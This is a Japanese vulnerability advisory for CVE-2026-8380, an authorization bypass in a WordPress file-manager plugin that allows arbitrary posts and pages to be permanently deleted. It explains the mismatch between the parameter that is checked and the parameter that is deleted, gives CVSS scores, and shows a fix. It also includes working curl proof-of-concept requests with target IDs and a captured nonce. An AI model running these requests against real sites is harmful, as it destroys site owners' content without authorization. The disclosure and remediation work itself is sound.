
CVE-2026-8380
WordPressプラグイン Frontend File Manager (nmedia-user-file-uploader) のバージョン <= 23.6 に、重大な認可の欠陥が確認されました。
この脆弱性により、低権限の認証済みユーザーが、AJAX削除エンドポイントにおける不適切な認可検証のため、任意のWordPress投稿、固定ページ、添付ファイル、カスタム投稿タイプを恒久的に削除できます。
プラグインオプション _allow_guest_upload=yes が有効な場合、脆弱性は未認証の攻撃者にも悪用可能になります。
nmedia-user-file-uploader)このプラグインには、wpfm_delete_file AJAXアクション内のパラメータ不一致検証により、WordPressコンテンツの任意削除を可能にする重大な認可バイパス脆弱性が含まれています。
この脆弱性は、実証コードによる能動的な悪用とともに、管理された実験環境で正常に検証されました。
また、調査中に以下の追加のセキュリティ上の弱点も特定されました:
_allow_guest_upload による複数エンドポイントでの認可チェックの無効化REMOTE_ADDR のみに基づくレート制限POST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
認可チェックは、単一のパラメータを使用して所有権を検証します:
$_POST['file_id']
しかし、実際の削除操作は異なるパラメータを反復処理します:
$_POST['file_ids[]']
この不一致により、攻撃者は以下のことが可能です:
file_id に指定するfile_ids[] に注入する以下の検証は一切存在しません:
file_ids[] 内のすべてのアイテムの所有権post_typefile_id と file_ids[] の関係その結果、任意のWordPressコンテンツが恒久的に削除される可能性があります。
最小限の権限を持つ認証済みユーザーは、以下を恒久的に削除できます:
削除は次の方法で実行されます:
wp_delete_post($file_id, true);
つまり、コンテンツはゴミ箱から復元できずに恒久的に削除されます。
_allow_guest_upload=yes が有効な場合:
192.168.1.1:8080wpfm_sub : Sub@Test123
ページID: 60
投稿ID: 61
攻撃者はショートコードを含むページにアクセスします:
[ffmwp]
nonceを抽出:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
応答:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| パラメータ | 説明 |
|---|---|
file_id=57 | 認可バイパスに使用される購読者所有の投稿 |
file_ids[]=60 | 被害者管理者の固定ページ |
file_ids[]=61 | 被害者管理者の投稿 |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
file_ids[] 内のすべてのエントリについて、所有権と投稿タイプを検証します。
安全な実装例:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| イベント | 日付 |
|---|---|
| 脆弱性発見 | 2026-05-28 |
| ベンダーへの連絡 | 2026-05-28 |
| WPScan公開 | 2026-06-04 |
| 公開情報開示 | 2026-06-18 |
この調査は、教育およびセキュリティ研究目的のみで、管理された実験環境で実施されました。
適切な許可なくシステムをテストしないでください。